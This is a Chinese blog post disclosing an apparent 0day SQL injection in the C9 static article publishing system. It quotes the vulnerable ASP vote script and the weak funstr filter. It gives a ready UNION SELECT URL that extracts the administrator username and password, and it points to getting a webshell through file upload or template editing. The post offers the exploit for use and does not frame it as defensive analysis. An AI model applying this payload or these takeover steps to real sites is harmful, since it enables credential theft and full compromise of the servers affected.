C9静态文章发布系统漏洞 0day

2010, May 14, 7:17 PM. 漏洞分析
Submitted by admin

漏洞描述:
<!--#include file="../conn.asp"-->
<!--#include file="../fun/funlogic.asp"-->
<%
thisid=funstr(Trim(Request.QueryString("voteid")))
if thisid="" then
set rs=conn.execute("select top 1 * from plug_vote where oorc<>false order by id desc")
else
set rs=conn.execute("select * from plug_vote where id="&thisid)
end if
if rs.eof then response.Write("连接数据发生错误"):response.End()
conn.execute "update plug_vote set votevi=votevi+1 where id="&rs("id")
for i=1 to 5
if isnull(rs("cs_"&i)) then exit for
next

nowid=rs("id")

......

%>

这里 我们看下是如何接收变量传递进来的值的

thisid=funstr(Trim(Request.QueryString("voteid"))) trim
过滤两边空格 然后是funstr这个函数 在包含文件里有个 fun/funlogic.asp 函数应该在这里 打开这个文件

Function funstr(str)

str = replace(str, "<", "&lt;", 1, -1, 1)
str = replace(str, ">", "&gt;", 1, -1, 1)
str = trim(str)
str = replace(str,"'","‘")

funstr = str
End Function
Function unfunstr(str)

str = replace(str, "&lt;","<", 1, -1, 1)
str = replace(str, "&gt;",">", 1, -1, 1)
str = trim(str)
str = replace(str,"‘","'")

unfunstr = str
End Function

这个函数起到的作用就是过滤字符串中的一些字符如 < > 空格 ' 等等 作者可能认为这样就可以达到防注的效果 其实不然 注入不需要这些东西

http://127.0.0.1/plug_vote/xml.asp?voteid=1

构造下

http://127.0.0.1/plug_vote/xml.a ... 0union%20select%201,2,3,4,5,6,7,username,password,10,11,12,13,14,15,16,17,18%20from%20user%20where%20id=1

查询得到管理员用户名和密码

后台拿webshell 有两种方法 一个是上传 一个是编辑模板 注意看下

编辑模板的地址就可以了

来源:t00ls

Tags: c9

« 上一篇 | 下一篇 »

只显示10条记录相关文章
C9静态文章发布系统漏洞 (浏览: 8171, 评论: 0)
C9静态文章发布系统0day (浏览: 10207, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):